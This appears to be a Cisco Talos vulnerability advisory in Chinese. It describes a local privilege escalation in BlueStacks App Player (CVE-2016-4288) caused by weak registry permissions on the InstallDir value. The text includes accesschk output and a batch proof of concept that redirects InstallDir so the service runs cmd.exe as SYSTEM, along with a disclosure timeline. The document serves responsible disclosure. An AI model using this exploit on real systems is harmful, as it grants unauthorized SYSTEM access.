2016 年 8 月 10 日，星期三

# 漏洞聚焦：BlueStacks App Player 权限提升漏洞

*漏洞发现者：思科 Talos 团队的“Icewall”Marcin Noga*

Talos 针对 BlueStacks App Player 中存在的一个漏洞发布了公告。(TALOS-2016-0124/CVE-2016-4288)。BlueStacks App Player 是一款支持在 Windows PC 和 Mac 计算机上运行 Android 应用的程序，常用于在计算机平台上运行热门的 Android 游戏。

## 详细信息

BlueStacks 应用中存在一个弱注册表项权限漏洞。默认情况下，BlueStack 安装程序会为包含 InstallDir 注册表值的注册表项设置较弱的权限，此权限稍后会用于 BlueStacks 服务组件。恶意用户可以利用此默认配置修改该注册表值，造成权限提升。

我们来看一下存在漏洞的“InstallDir”值在 BlueStacks 注册表项中所处的位置：

```
accesschk -k -w -d HKEY_LOCAL_MACHINE\SOFTWARE\BlueStacks

HKLM\SOFTWARE\BlueStacks
  RW BUILTIN\Users
  RW BUILTIN\Administrators
  RW NT\SYSTEM
```

可以看到，“Users”用户组对该注册表项拥有完全访问权限。

BlueStacks 服务会从该注册表位置执行读取操作，以获取安装目录设置，然后尝试在收到的位置运行可执行文件 (HD-Network.exe)。通过将 InstallDir 值的数据设置到用户指定位置，恶意用户将能够使用 SYSTEM 权限执行选定文件。

## 非法利用

```
@echo off
echo [+]Run cmd as SYSTEM
mkdir c:\TALOS
REM copy other files for execution
copy c:\windows\system32\cmd.exe HD-Network.exe
reg add "HKLM\SOFTWARE\BlueStacks" /f /v "InstallDir" /t REG_SZ /d c:\TALOS\
echo [+]Restore default values
```

## 总结

发现并且负责任地披露零日漏洞可帮助提高人们日常所使用的软件的整体安全性。为此，思科 Talos 致力于通过开发编程方法来识别漏洞，防止其被恶意攻击者所利用。这有助于保护客户所使用的平台以及软件的安全，并提供可以帮助思科改进其流程的洞察力，以开发更优质和更安全的产品。

由于此漏洞为单纯的本地漏洞，不涉及网络流量，所以 Talos 没有对此问题发布任何规则。

## 时间表

2016 年 3 月 1 日 - 发现漏洞
2016 年 4 月 13 日 - 报告漏洞
2016 年 8 月 4 日 - 修复漏洞
2016 年 8 月 4 日 - 公布漏洞

发布者：WILLIAM LARGENT；发布时间：22:49
标签：零日、BLUESTACKS、漏洞、漏洞研究、漏洞聚焦